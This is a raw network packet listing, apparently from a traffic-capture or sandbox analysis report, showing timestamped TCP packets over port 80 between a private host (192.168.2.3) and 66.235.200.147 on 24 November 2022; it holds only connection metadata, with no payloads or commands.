Nov 24, 2022 16:57:36.835176945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835200071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835208893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835225105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835230112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835247993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835252047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835270882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835272074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835289955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835295916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835314035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835319996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835334063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835342884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835361004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835366964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835385084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835391045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835403919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835414886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835434914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835438013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835458040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835462093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835484028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835500956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835505962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835525990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835525990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835530043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835546017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835555077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835568905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835578918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835602045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835608006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835623980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835630894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835648060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835649014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835666895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835671902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835695028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.835705042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835725069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.835741997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836004972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836025000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836060047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836080074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836080074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836107969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836132050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836138964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836163044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836163998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836205006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836226940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836251974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836273909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836296082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836318970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836332083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836342096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836364985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836388111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836410046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836416960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836416960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836433887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836441040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836458921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836508989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836571932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836594105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836616039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836639881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836639881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836659908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836663961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836680889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836688995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836699963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836711884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836735010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836740971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836759090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836761951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836780071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836848974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836870909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836893082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836920023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836920023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836942911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.836966991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.836990118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837013960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837032080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837034941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837052107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837059975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837074995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837085009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837109089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837130070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837131023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837150097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837157011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837172985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837182045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837203979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837214947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837227106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837239027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837239027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837251902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837261915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837276936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837291002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837357998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837443113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837466002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837487936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837543011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837564945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837588072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837609053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837630987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837652922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837675095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837760925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837783098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837805033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837858915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837872028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837882042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837893963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837908983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837923050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837924004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837946892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837968111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.837970018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.837992907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838006973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838020086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838052034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838083029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838109016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838124990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838144064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838165998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838182926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838200092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838217020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838227034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838234901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838253021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838268995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838285923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838298082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838304043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838320971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838325024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838339090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838344097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838366985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838383913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838429928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838448048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838464022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838480949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838481903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838481903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838498116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838505983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838516951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838530064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838531017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838531971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838551998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838567019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838829994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838911057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.838963985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838983059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.838999987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839019060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839035988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839054108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839059114 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839072943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839092970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839096069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839111090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839121103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839129925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839148998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839160919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839167118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839181900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839198112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839199066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839214087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839219093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839238882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839257002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839267015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839284897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839334011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839396954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839451075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839468956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839498043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839519978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839536905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839555979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839574099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839591980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839600086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839610100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839620113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839644909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839658976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839659929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839725018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839744091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839761972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839776993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839780092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839796066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839813948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839818001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839880943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839900970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839917898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839932919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839951992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.839958906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839976072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.839994907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840040922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840058088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840059042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840096951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840145111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840162992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840178967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840198040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840214014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840214968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840233088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840234041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840250969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840267897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840271950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840285063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840300083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840301991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840332031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840333939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840353012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840378046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840395927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840606928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840624094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840641022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840656042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840660095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840673923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840678930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840697050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840706110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840715885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840733051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840747118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840750933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840770006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840771914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840787888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840805054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840816021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840821981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840841055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840852976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840857983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840877056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840893030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840903997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840909958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840922117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840928078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840945959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840962887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840965033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840980053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.840989113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.840997934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841016054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841032028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841032028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841051102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841068029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841068983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841087103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841090918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841105938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841155052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841667891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841731071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841787100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841840982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841851950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841851950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841900110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841953039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.841959000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.841980934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842004061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842025042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842032909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842046976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842068911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842092037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842096090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842112064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842118025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842147112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842174053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842185974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842202902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842222929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842233896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842261076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842291117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842315912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.842317104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.842336893 CET	49713	80	192.168.2.3	66.235.200.147
